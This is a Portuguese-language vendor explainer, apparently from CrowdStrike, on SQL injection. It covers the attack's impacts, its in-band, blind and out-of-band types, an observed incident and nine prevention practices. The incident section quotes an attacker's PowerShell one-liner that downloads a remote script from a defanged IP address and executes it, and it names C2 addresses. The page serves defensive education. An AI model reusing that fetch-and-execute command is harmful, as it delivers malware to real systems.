Agentic SOC Summit: o novo padrão para defesa autônomaInscreva-se

O que é a Injeção SQL (SQLi)?

Injeção SQL (SQLi) é um ciber ataque que injeta código SQL malicioso em uma aplicação, permitindo assim que o invasor visualize ou modifique um banco de dados. De acordo com o Projeto Aberto de Segurança em Aplicações da Web, ataques de injeção, que incluem injeções de SQL, foram o terceiro risco de segurança de aplicações da Web mais sério em 2021. Nas aplicações testadas, foram mais de 274.000 ocorrências de injeção.

Para estabelecer uma proteção contra ataques de injeção SQL, é essencial entender o impacto deles e como eles acontecem para que você possa seguir as melhores práticas, testar vulnerabilidades e investir em software que previna ativamente os ataques.

Consequências de um ataque de injeção SQL com sucesso

Ataques de injeção SQL podem ter impactos negativos significativos em uma organização. As organizações têm acesso a dados confidenciais das empresas e informações privadas de clientes, e os ataques de injeção SQL geralmente visam essas informações confidenciais. Quando um ataque de injeção SQL é realizado com sucesso por um usuário malicioso, isso pode ter qualquer um dos seguintes impactos:

  • Exposição de dados confidenciais da empresa: com a injeção SQL, o invasor consegue recuperar e alterar dados, o que gera o risco de expor dados sensíveis da empresa que são armazenados no servidor SQL.
  • Comprometimento da privacidade dos usuários: dependendo dos dados armazenados no servidor SQL, um ataque pode expor dados privados do usuário, por exemplo, números de cartão de crédito.
  • Acesso administrativo do invasor ao seu sistema: se um usuário do banco de dados tiver privilégios administrativos, um invasor pode ganhar acesso ao sistema usando código malicioso. Para se proteger contra esse tipo de vulnerabilidade, é importante criar um usuário de banco de dados com o mínimo de privilégios.
  • Acesso geral do invasor ao seu sistema: se você usa comandos SQL fracos para verificar nomes e senhas dos usuários, um invasor pode obter acesso ao seu sistema sem precisar saber as credenciais do usuário. Tendo acesso geral ao seu sistema, invasores podem causar ainda mais danos acessando e manipulando informações confidenciais.
  • Comprometimento da integridade dos seus dados: com injeções de SQL, invasores podem alterar ou excluir informações do seu sistema.

O impacto de um ataque de injeção SQL pode ser intenso e, por isso, é importante que as empresas exerçam a prevenção e limitem as vulnerabilidades antes que os ataques ocorram. Para essa finalidade, é necessário entender como um ataque de injeção SQL acontece, para saber o que você está enfrentando.

3 tipos de injeção SQL

Ao entender as ameaças à cibersegurança, as organizações podem se preparar melhor para atacar e remediar vulnerabilidades. Vamos conferir os tipos de ataque de injeção SQL, que são divididos em três categorias: injeção SQL em banda, injeção SQL inferencial e injeção SQL fora de banda.

1. Injeção SQL em banda

A injeção SQL em banda é o tipo mais comum de ataque. Com esse tipo de ataque, um usuário malicioso usa o mesmo canal de comunicação para atacar e coletar resultados. As técnicas a seguir são os tipos mais comuns de ataque de injeção SQL em banda:

  • Injeção SQL baseada em erro: com essa técnica, invasores conseguem informações sobre a estrutura do banco de dados quando usam um comando SQL para gerar mensagens de erro do servidor de banco de dados. Essas mensagens são úteis ao desenvolver uma aplicação ou página da Web, mas podem se tornar uma vulnerabilidade depois, porque expõem informações sobre o banco de dados. Para impedir essa vulnerabilidade, as mensagens de erro podem ser desativadas depois que um website ou uma aplicação for lançada.
  • Injeção SQL baseada em união: com essa técnica, os invasores usam o operador SQL UNION para combinar várias instruções select e retornar uma única resposta HTTP. Usando essa técnica, um invasor pode extrair informações do banco de dados. Essa técnica é o tipo mais comum de injeção SQL e exige mais medidas de segurança para ser combatida do que a injeção SQL baseada em erros.

2. Injeção SQL inferencial

A injeção SQL inferencial também é chamada de injeção SQL cega, porque diferentemente da injeção SQL em banda, o banco de dados do website não transfere dados para o invasor. Em vez disso, usuários maliciosos podem entender a estrutura do servidor enviando payload de dados e observando as respostas. Ataques de injeção SQL inferenciais são menos comuns que os ataques de injeção SQL dentro da banda porque podem levar mais tempo para serem concluídos. Os dois tipos de ataque de injeção SQL inferencial usam as técnicas a seguir:

  • Injeção booleana: com esta técnica, o invasor envia uma consulta SQL ao banco de dados e verifica o resultado. Os invasores podem inferir se um resultado é verdadeiro ou falso se as informações na resposta HTTP forem alteradas ou não.
  • Injeção baseada em tempo: com essa técnica, o invasor envia uma consulta SQL para o banco de dados, fazendo com que ele espere um número específico de segundos antes de responder. Os invasores sabem se o resultado é verdadeiro ou falso com base no número de segundos decorridos antes de uma resposta. Por exemplo, hackers podem usar consultas SQL que comandam um atraso se a primeira letra do nome do primeiro banco de dados for A. Dessa forma, se a resposta for atrasada, o invasor vai saber que a consulta é verdadeira.

3. Injeção SQL fora de banda

A injeção SQL fora de banda é o tipo menos comum de ataque. Com esse tipo de ataque de injeção SQL, os usuários maliciosos adotam um canal de comunicação para o ataque que é diferente do usado para coletar resultados. Os invasores usam esse método se um servidor for muito lento ou instável para usar injeção SQL inferencial ou injeção SQL em banda.

Como um ataque de injeção SQL é realizado?

SQL é uma linguagem usada em programação desenvolvida para dados em um sistema de gerenciamento de fluxo de dados relacional. Consultas SQL executam comandos, por exemplo, comandos para recuperar dados, atualizar dados e excluir registros. Para executar comandos maliciosos, invasores podem inserir códigos em sequências de caracteres que são enviadas para um servidor SQL para execução. Usuários maliciosos podem realizar ataques de várias formas, mas campos de entrada de usuário, como formulários de texto livre são entradas vulneráveis comuns em aplicações ou páginas da Web.

Exemplo de injeção SQL

O CrowdStrike Falcon Overwatch observou um incidente no qual SQL foi injetado com sucesso para realizar a execução de código como um vetor de infecção inicial, levando à execução de comandos do PowerShell que estavam codificados para:

$p=((New-Object Net.WebClient).DownloadString('http[:]//46.17.105[.]207/lzbt6001sop_64refl.ps1'));$p|.('IeX')

O comando disparou o download de um loader Demux PowerShell usado pelo Carbon Spider, um ciberadversário que visa principalmente os setores de hospitalidade e varejo para coletar dados de cartões de pagamento. Demur executou um stager DLL na memória que usou 46.17.105[.]207 e 185.242.85[.]126 para comunicações de comando e controle (C2).

Além disso, o ator usou tanto echo 1 quanto ping -n [number] 127.0.0.1 diversas vezes para garantir a conectividade e a capacidade de resposta do host às tentativas de Injeção SQL. Ele também usou wmic para consultar o nome do domínio.

9 práticas recomendadas para proteger seu banco de dados contra injeção SQL

Ao desenvolver seu website ou aplicação da Web, é possível incorporar medidas de segurança que limitem sua exposição a ataques de injeção SQL. Por exemplo, as medidas preventivas de segurança a seguir são as formas mais eficientes de impedir ataques de injeção SQL:

  1. Instale o software e as correções de segurança mais recentes dos fabricantes, quando disponíveis.
  2. Dê às contas que se conectam ao banco de dados SQL o mínimo de privilégio necessário.
  3. Não compartilhe contas de banco de dados entre websites e aplicações diferentes.
  4. Use a validação para todos os tipos de entrada fornecidos pelo usuário, inclusive menus suspensos.
  5. Configure relatórios de erros ao invés de enviar mensagens de erro para o navegador da Web do cliente.
  6. Use declarações preparadas com consultas parametrizadas que definem a totalidade do código SQL e passam cada parâmetro para que o invasor não mude a intenção de uma consulta depois.
  7. Use procedimentos armazenados para criar instruções SQL com parâmetros armazenados no banco de dados e chamados a partir da aplicação.
  8. Use a validação das entradas da lista de permissões para impedir que entradas de usuário não validadas sejam adicionadas à consulta.
  9. Faça o escape de todas as entradas fornecidas pelo usuário antes de colocá-las em uma consulta para que a entrada não seja confundida com código SQL do desenvolvedor.

De um modo geral, as organizações precisam evitar usar contas compartilhadas, para que os invasores não ganhem ainda mais acesso se uma conta for comprometida. As organizações também devem evitar enviar mensagens de erro de banco de dados para o navegador do cliente, porque invasores podem usar as informações para entender detalhes técnicos do banco de dados.

A abordagem da CrowdStrike para interromper ataques SQL

A injeção SQL é uma técnica comum de hacking com consequências graves. Portanto, é importante proteger sua empresa dessas ameaças. Seguindo as práticas recomendadas e fazendo testes periódicos de vulnerabilidade, é possível reduzir as chances se tornar vítima de um ataque de injeção SQL. As organizações também devem pensar em investir em soluções de cibersegurança abrangentes, como a plataforma CrowdStrike Falcon®. As soluções de cibersegurança contribuem para que sua postura de segurança seja mais robusta contra injeções de SQL e diversos outros riscos de cibersegurança.

A plataforma Falcon é muito modular e extensível, permitindo adotar a proteção necessária com facilidade. A arquitetura com base em nuvem pode defender organizações empresariais sem comprometimento de velocidade e desempenho. A plataforma da CrowdStrike ajuda a proteger as áreas mais críticas de risco empresarial: endpoints, workloads na nuvem, identidades e dados. Para saber como a CrowdStrike pode proteger sua empresa contra um ataque de injeção SQL, acesse como as equipes de investigação de ameaças e inteligência da CrowdStrike interromperam uma campanha de injeção SQL.

Bart é Gerente Sênior de Marketing de Produtos de inteligência de ameaças na CrowdStrike e tem mais de 20 anos de experiência em monitoramento, detecção e inteligência de ameaças. Depois de iniciar sua carreira como analista de operações de segurança de rede em uma organização financeira belga, Bart mudou-se para a Costa Leste dos EUA para atuar em diversas empresas de cibersegurança, incluindo 3Com/Tippingpoint, RSA Security, Symantec, McAfee, Venafi e FireEye-Mandiant, ocupando cargos de gestão e marketing de produtos.